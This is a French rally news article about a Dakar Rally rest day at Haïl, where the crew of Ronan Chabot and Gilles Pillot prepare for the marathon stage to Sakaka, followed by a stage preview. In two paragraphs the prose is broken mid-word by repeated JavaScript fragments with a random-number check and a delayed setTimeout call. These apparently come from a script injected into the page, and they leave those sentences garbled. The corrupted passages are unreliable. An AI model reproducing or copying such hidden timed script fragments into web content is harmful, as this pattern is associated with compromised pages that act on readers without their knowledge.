Un jour de répit avant de repartir à l’attaque !

Ce samedi, Ronan Chabot et Gilles Pillot ont profité d’une journée de repos bien méritée à Haïl. Dès demain, il faudra reprendra la route et continuer la remontée vers le nord, jusqu’à Sakaka, première partie de l’étape-marathon.

« La journée de repos ? Elle porte bien son nom ! » Ronan Chabot a le sourire. Ce samedi après-midi vers 16h30, alors que le soleil décline déjà au-dessus du bivouac d’Haïl, le pilote vendéen a profité de ce moment de répit. Après une nuit bien légèrement plus longue qu’à l’accoutumée, le programme était simple : lavage des combinaisons, massage pour soulager les cervicales, échanges avec les autres concurrents et bon repas avec toute l’équipe. C’est le Saoudien Yazeed Al-Rajhi, lui aussi pilote chez Toyota Overdrive et par ailleurs propriétaire de fast-food qui s’est chargé du déjeuner en ramenant notamment deux moutons cuisinés selon les coutumes locales. Et puis, forcément, l’équipage de ‘My RCM’ a déjà la tête à la suite de la compétition. « Cette journée est passée si vite ! »

« Il faut que tout tienne pendant deux jours »

Près du camion, il y a notamment deux sacs récemment remplis. Car demain à l’arrivée de la 7e étape à Sakaka, aucune assistance n’est autorisée. L’accès au bivouac n’est réservé qu’aux pilotes qui dormiront tous dans un dortoir et ne pourront pas bénéficier d’aide pour réparer d’éventuels problèmes mécaniques. « On sait que personne ne sera là pour réparer la voiture, abonde Ronan. Il faut que tout tienne pendant deux jours ».

Heureusement, Ronan et Gilles se sont mis dans une position plus favorable que ces derniers jours en étant classés 29e au général. « C’est indéniable qu’avec les voitures de tête, la spéciale n’a rien à voir avec celle qu’on peut parcourir derrière. Les pistes sont lisses, tu trouves tout de suite de la motricité et il y a seulement quelques traces. Ce n’est pas la même course ».

Pourtant, le pilote se refuse à parler de nouveau départ en évoquant la semaine qui s’annonce. « On n’a pas d’état d’âme et on prendra tous les jours comme ils viennent. Certes, nous n’avons pas fait la semaine parfaite mais il y a aussi beaucoup de concurrents qui ont abandom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andonné. Tous les jours sont remplis d’inconnu et c’est pour ça qu’on y participe ». De quoi afficher un visage combatif, dès demain, sur les pistes du plus éprouvant des rallyes-raid.

LA 7e ÉTAPE – HAIL – SAKAKA

Après ses 24 heures de ‘break’, le Dakar reprend sa route. Il faudra être résistant au petit matin pour faire face au froid tenace sur la liaison. Les concurrents mettent le cap sur le nord jusqu’à Sakaka et y parvenir ne sera pas une partie de plaisir. Pour débuter la spéciale longue de 471 km, il faudra affronter pendant plus de 100 km des toboggans de dunes et de sables. Il conviendra de veiller à ne pas s’ensabler car la suite est également corsée avec de grandom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}ands plateaux caillouteux puis des pistes sinueuses et rapides. À l’arrivée, un nouveau secteur de liaison les mènera jusqu’à Sakaka. Là, seuls les concurrents pourront se rendre et ce sera donc à eux de réparer leurs machines s’ils en ont besoin, avant une nuit bien méritée dans les dortoirs mis en place par l’organisation.